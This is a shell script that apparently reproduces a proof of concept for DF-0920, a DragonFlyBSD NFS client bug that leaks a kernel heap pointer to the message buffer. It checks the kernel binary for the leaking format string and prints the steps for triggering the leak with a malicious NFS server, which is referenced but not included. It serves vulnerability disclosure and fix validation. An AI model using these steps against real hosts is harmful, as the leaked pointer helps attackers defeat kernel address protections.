#!/bin/sh
# run.sh - run the DF-0920 PoC reproduction.
#
# This demonstrates that the unconditional kprintf at nfs_iod.c:135 is
# compiled into the running kernel, leaking a kernel heap pointer to msgbuf.
#
# Prerequisites:
#   - DragonFlyBSD guest with NFS client support
#   - Python 3 installed (pkg install -y python3)
#   - The malicious NFS server (bad_nfs_server_v3.py) copied to /root/badnfs/
#
# Steps:
#   1. Check the unpatched kernel binary for the leak string.
#   2. Start the malicious NFS server on localhost.
#   3. Mount and trigger NFS I/O.
#   4. Check dmesg/msgbuf for leaked pointers.
#
# For fix validation: run this on both the unpatched (#0) and patched (#1)
# kernels and compare the strings output.
set -e
cd "$(dirname "$0")"

echo "=== DF-0920 PoC: NFS iod heap pointer leak to msgbuf ==="
echo ""
echo "1. Checking kernel binary for the leak format string..."
echo "   (kprintf at sys/vfs/nfs/nfs_iod.c:135)"
if strings /boot/kernel/kernel | grep -q "rxq: move info"; then
    echo "   FOUND: $(strings /boot/kernel/kernel | grep 'rxq: move info')"
    echo "   The unconditional kprintf IS compiled into the running kernel."
    echo "   A kernel heap pointer (struct nfsm_info *) will be leaked to"
    echo "   msgbuf on every EINPROGRESS reply (NFSERR_TRYLATER / ENEEDAUTH)."
else
    echo "   NOT FOUND: the kprintf has been removed (fix applied)."
    echo "   The heap-pointer leak to msgbuf is eliminated."
fi

echo ""
echo "2. Checking msgbuf readability..."
echo "   security.unprivileged_read_msgbuf = $(sysctl -n security.unprivileged_read_msgbuf 2>/dev/null || echo '?')"

echo ""
echo "3. To trigger the leak at runtime:"
echo "   a. Start the malicious server: python3 bad_nfs_server_v3.py &"
echo "   b. Mount: mount_nfs -T -3 -o port=2049 127.0.0.1:/export /mnt"
echo "   c. Trigger I/O: dd if=/mnt/anyfile of=/dev/null bs=64k"
echo "   d. Check: dmesg | grep 'rxq: move info'"
echo ""
echo "   (Runtime trigger requires async BIO path; see VERDICT.md for details.)"
